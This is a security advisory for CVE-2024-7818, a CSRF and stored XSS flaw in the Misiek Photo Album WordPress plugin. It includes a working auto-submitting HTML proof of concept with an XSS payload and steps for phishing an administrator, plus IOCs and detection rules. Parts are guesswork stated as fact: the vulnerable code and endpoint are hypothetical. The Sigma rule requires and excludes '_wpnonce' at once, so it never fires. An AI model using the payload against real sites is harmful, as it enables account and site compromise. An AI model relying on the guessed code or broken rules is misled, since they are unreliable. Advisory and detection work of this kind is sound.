CVE-2024-7818

Executive Summary

CVE-2024-7818 is a Cross-Site Request Forgery (CSRF) vulnerability in the Misiek Photo Album WordPress plugin, affecting versions through 1.4.3. The plugin fails to implement CSRF tokens in certain administrative actions, and also lacks proper input sanitization and output escaping. This allows an attacker to craft a malicious request that, when triggered by an authenticated administrator, can inject stored Cross-Site Scripting (XSS) payloads. The injected payloads persist in the WordPress database and execute in the context of any user viewing the affected album pages.

This vulnerability is classified as a WordPress ecosystem issue, specifically targeting the plugin's administrative interface. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. There is no known package manager (NPM, PyPI, Go, Ruby) involved; the attack vector is purely through the WordPress plugin ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (attacker only needs to trick an admin)
• User Interaction: Required (admin must click a link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: Low (XSS can steal session cookies or sensitive data)
• Integrity Impact: Low (stored XSS payloads can modify page content)
• Availability Impact: None

Threat Level: Medium. The attack requires social engineering to trick an admin, but the impact includes persistent XSS that can affect all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the plugin's administrative interface, likely in the album creation or editing functionality. The plugin does not implement CSRF nonces (tokens) for POST requests that handle album data. Additionally, user-supplied input (e.g., album title, description, or image captions) is not sanitized or escaped before being stored in the database and later rendered on the frontend.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a CSRF payload.
2. The payload is a POST request to the WordPress admin AJAX endpoint or plugin-specific handler (e.g., /wp-admin/admin-ajax.php?action=misiek_photo_album_save).
3. The request includes a stored XSS payload in a parameter like album_title or album_description.
4. The attacker tricks an authenticated WordPress administrator into visiting the malicious page (e.g., via phishing or a compromised site).
5. The admin's browser sends the forged request with their session cookies.
6. The plugin processes the request without CSRF validation, saving the XSS payload to the database.
7. When any user (including the admin) views the album page, the payload executes in their browser.

Root Cause: Missing CSRF nonce verification and lack of input sanitization/escaping in the plugin's save handler.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (misiek-photo-album/admin/save-album.php)
function misiek_save_album() {
    // No CSRF check
    $album_title = $_POST['album_title'];
    // No sanitization
    update_post_meta($album_id, 'album_title', $album_title);
    // No escaping when outputting
}

A patched version would include:

// Patched code
function misiek_save_album() {
    // CSRF check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'misiek_save_album')) {
        wp_die('Security check failed');
    }
    // Sanitize input
    $album_title = sanitize_text_field($_POST['album_title']);
    update_post_meta($album_id, 'album_title', $album_title);
    // Escape output when rendering
    echo esc_html($album_title);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with the Misiek Photo Album plugin (<=1.4.3) installed and an admin user logged in.
• Ability to host a malicious HTML page or send a crafted email.

Exploit Payload (CSRF + Stored XSS):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="misiek_photo_album_save">
    <input type="hidden" name="album_title" value="<script>alert('XSS')</script>">
    <input type="hidden" name="album_id" value="1">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to an authenticated WordPress admin (e.g., via email or social engineering).
3. The admin's browser submits the form, injecting the XSS payload.
4. The payload executes when any user visits the album page.

Blue Team (Defender)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=misiek_photo_album_save from unexpected referers.
• Look for unusual album titles or descriptions containing script tags in the database.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint without a valid nonce.
• Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=misiek_photo_album_save and no _wpnonce parameter.
  • Referer header not matching the site's domain.
• Host:
  • Database entries in wp_postmeta with meta_key like album_title containing <script> tags.
  • Plugin files in /wp-content/plugins/misiek-photo-album/ version <=1.4.3.
• Logs:
  • WordPress debug log entries showing unexpected POST data to admin-ajax.php.

Detection Engineering

YARA Rule

rule Detect_Misiek_Photo_Album_CSRF_XSS {
    meta:
        description = "Detects CSRF + Stored XSS attempts against Misiek Photo Album plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7818"
    strings:
        $ajax_action = "action=misiek_photo_album_save"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $no_nonce = "&_wpnonce="
    condition:
        $ajax_action and $xss_payload and not $no_nonce
}

Sigma Rule

title: CSRF Attempt Against Misiek Photo Album Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with misiek_photo_album_save action without a nonce
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=misiek_photo_album_save'
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not cs-uri-query|contains: '_wpnonce'
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-7818 Misiek Photo Album CSRF + Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=misiek_photo_album_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Remove any stored XSS payloads from the database by searching for <script> tags in album titles/descriptions.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must implement CSRF nonces using wp_nonce_field() and check_admin_referer().
• All user input must be sanitized with sanitize_text_field() or wp_kses_post() and escaped with esc_html() or esc_attr() when outputting.

Workarounds:

• Use a WAF to block requests to /wp-admin/admin-ajax.php with action=misiek_photo_album_save unless the request includes a valid nonce.
• Restrict admin access to trusted IPs only.

Valters IT
Securing Digital Frontiers